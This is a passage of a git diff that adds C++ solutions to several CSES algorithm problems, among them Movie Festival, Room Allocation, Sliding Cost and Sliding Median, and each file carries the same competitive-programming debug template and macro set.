= isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n; + cin >> n; + ll ar[n]; + inarr(ar, n); + sort(ar, ar + n); + + ll maxNum = 0; + int i = 0; + while (true) + { + if (i < n && (ar[i] <= maxNum + 1)) + maxNum += ar[i], i++; + else + { + cout << maxNum + 1 << endl; + return; + } + } +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Movie_Festival.cpp b/DSA/CSES_ProblemSet/Movie_Festival.cpp new file mode 100644 index 000000000..e40bbebbe --- /dev/null +++ b/DSA/CSES_ProblemSet/Movie_Festival.cpp @@ -0,0 +1,225 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n; + cin >> n; + vec ar; + for (int i = 0; i < n; i++) + { + int x, y; + cin >> x >> y; // second is start time, first is end time + ar.pb({y, x}); + } + + sort(all(ar)); + // debug(ar); + + int cnt = 0, curr_end = 0; + for (int i = 0; i < n; i++) + { + if (ar[i].second >= curr_end) + curr_end = ar[i].first, cnt++; + } + + out(cnt); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Nearest_Smaller_Values.cpp b/DSA/CSES_ProblemSet/Nearest_Smaller_Values.cpp new file mode 100644 index 000000000..937aa5e8a --- /dev/null +++ b/DSA/CSES_ProblemSet/Nearest_Smaller_Values.cpp @@ -0,0 +1,273 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + cin >> n; + stack st; + int ar[n]; + inarr(ar, n); + vi res(n, -1); + for (int i = 0; i < n; i++) + { + if (!st.empty()) + { + while (st.top().first >= ar[i]) + { + st.pop(); + if (st.empty()) + break; + } + } + if (st.empty()) + res[i] = 0; + else + res[i] = st.top().second; + st.push({ar[i], i + 1}); + // debug(res); + } + + for (int i = 0; i < n; i++) + cout << res[i] << " "; + cout << endl; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Nested_Ranges_Check.cpp b/DSA/CSES_ProblemSet/Nested_Ranges_Check.cpp new file mode 100644 index 000000000..312d1a713 --- /dev/null +++ b/DSA/CSES_ProblemSet/Nested_Ranges_Check.cpp @@ -0,0 +1,251 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define ar array +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +struct range +{ + int l, r, index; + bool operator<(const range &other) + { + if (other.l == l) + return r > other.r; + return l < other.l; + } +}; + +void solve() +{ + int n; + cin >> n; + vector ranges(n); + for (int i = 0; i < n; i++) + { + cin >> ranges[i].l >> ranges[i].r; + ranges[i].index = i; + } + vector contains(n), contained(n); + sort(all(ranges)); + + for (auto x : ranges) + cerr << x.l << " " << x.r << endl; + + int mxR = 0; + for (int i = 0; i < n; i++) + { + if (ranges[i].r <= mxR) + contained[ranges[i].index] = 1; + mxR = max(mxR, ranges[i].r); + } + + int mnR = 2e9; + for (int i = n - 1; i >= 0; i--) + { + if (ranges[i].r >= mnR) + contains[ranges[i].index] = 1; + mnR = min(mnR, ranges[i].r); + } + + for (auto i : contains) + cout << i << " "; + cout << endl; + for (auto i : contained) + cout << i << " "; + cout << endl; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Playlist.cpp b/DSA/CSES_ProblemSet/Playlist.cpp new file mode 100644 index 000000000..7326c305f --- /dev/null +++ b/DSA/CSES_ProblemSet/Playlist.cpp @@ -0,0 +1,238 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + cin >> n; + ll ar[n]; + inarr(ar, n); + un_m mp; + + int l = 0, r = 0; + int ans = INT_MIN; + // bool allTrue = false; + set si; + for (int i = 0; i < n; i++) + si.insert(ar[i]); + + if (si.size() == n) + { + out(n); + return; + } + while (l <= r && r < n) + { + mp[ar[r]]++; + if (mp[ar[r]] > 1) + { + ans = max(ans, r - l); + while (mp[ar[r]] > 1) + mp[ar[l]]--, l++; + } + ans = max(ans, r - l + 1); + r++; + } + + // if (ans == INT_MIN) + // ans = n; + out(ans); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Room_Allocation.cpp b/DSA/CSES_ProblemSet/Room_Allocation.cpp new file mode 100644 index 000000000..4037039f3 --- /dev/null +++ b/DSA/CSES_ProblemSet/Room_Allocation.cpp @@ -0,0 +1,250 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n; + cin >> n; + vector, int>> ar(n); + for (int i = 0; i < n; i++) + { + int l, r; + cin >> l >> r; + ar[i].first.first = l, ar[i].first.second = r; + ar[i].second = i; + } + int ans[n + 1] = {0}; + sort(all(ar)); + // min heap + priority_queue> pq; + int rooms = 0, last_room = 0; + for (int i = 0; i < n; i++) + { + if (pq.empty()) + { + last_room++; + pq.push({-ar[i].first.second, last_room}); + ans[ar[i].second] = last_room; + } + else + { + auto x = pq.top(); + if (-x.first < ar[i].first.first) + { + pq.pop(); + pq.push({-ar[i].first.second, x.second}); + ans[ar[i].second] = x.second; + } + else + { + last_room++; + pq.push({-ar[i].first.second, last_room}); + ans[ar[i].second] = last_room; + } + } + + rooms = max(rooms, int(pq.size())); + } + out(rooms); + for (int i = 0; i < n; i++) + cout << ans[i] << " "; + cout << endl; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Sliding_Cost.cpp b/DSA/CSES_ProblemSet/Sliding_Cost.cpp new file mode 100644 index 000000000..87535b99f --- /dev/null +++ b/DSA/CSES_ProblemSet/Sliding_Cost.cpp @@ -0,0 +1,101 @@ +#include +using namespace std; + +#define ll long long + +int main() +{ + int n, k; + cin >> n >> k; + set> leftSet, rightSet; + ll leftSum = 0, rightSum = 0; + vector val(n); + for (int i = 0; i < n; i++) + cin >> val[i]; + + if (k == 1) + { + for (int i = 0; i < n; i++) + cout << 0 << " "; + return 0; + } + + if (k == 2) + { + for (int i = 1; i < n; i++) + cout << abs(val[i] - val[i - 1]) << " "; + return 0; + } + + vector> st; + for (int i = 0; i < k; i++) + st.push_back({val[i], i}); + + sort(st.begin(), st.end()); + + for (int i = 0; i < k / 2 + (k % 2); i++) + { + leftSet.insert(st[i]); + leftSum += st[i].first; + } + + for (int i = k / 2 + (k % 2); i < k; i++) + { + rightSet.insert(st[i]); + rightSum += st[i].first; + } + + ll median = leftSet.rbegin()->first; + + cout << median * leftSet.size() - leftSum + + rightSum - median * rightSet.size() + << " "; + + for (int i = 1; i < n - k + 1; i++) + { + if (leftSet.count({val[i - 1], i - 1})) + { + leftSum -= val[i - 1]; + leftSet.erase({val[i - 1], i - 1}); + } + else + { + rightSum -= val[i - 1]; + rightSet.erase({val[i - 1], i - 1}); + } + + if ((*leftSet.rbegin()) < make_pair(val[k - 1 + i], k - 1 + i)) + { + rightSet.insert({val[k - 1 + i], k - 1 + i}); + rightSum += val[k - 1 + i]; + } + else + { + leftSet.insert({val[k - 1 + i], k - 1 + i}); + leftSum += val[k - 1 + i]; + } + + while (leftSet.size() < k / 2 + (k % 2)) + { + auto rightExtra = *rightSet.begin(); + rightSet.erase(rightExtra); + rightSum -= rightExtra.first; + leftSum += rightExtra.first; + leftSet.insert(rightExtra); + } + + while (leftSet.size() > k / 2 + (k % 2)) + { + auto leftExtra = *leftSet.rbegin(); + leftSet.erase(leftExtra); + leftSum -= leftExtra.first; + rightSum += leftExtra.first; + rightSet.insert(leftExtra); + } + + median = leftSet.rbegin()->first; + cout << median * leftSet.size() - leftSum + + rightSum - median * rightSet.size() + << " "; + } +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Sliding_Median.cpp b/DSA/CSES_ProblemSet/Sliding_Median.cpp new file mode 100644 index 000000000..65332230a --- /dev/null +++ b/DSA/CSES_ProblemSet/Sliding_Median.cpp @@ -0,0 +1,270 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include +#include +#include +using namespace __gnu_pbds; + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +template +using ordered_set = tree, rb_tree_tag, tree_order_statistics_node_update>; + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m 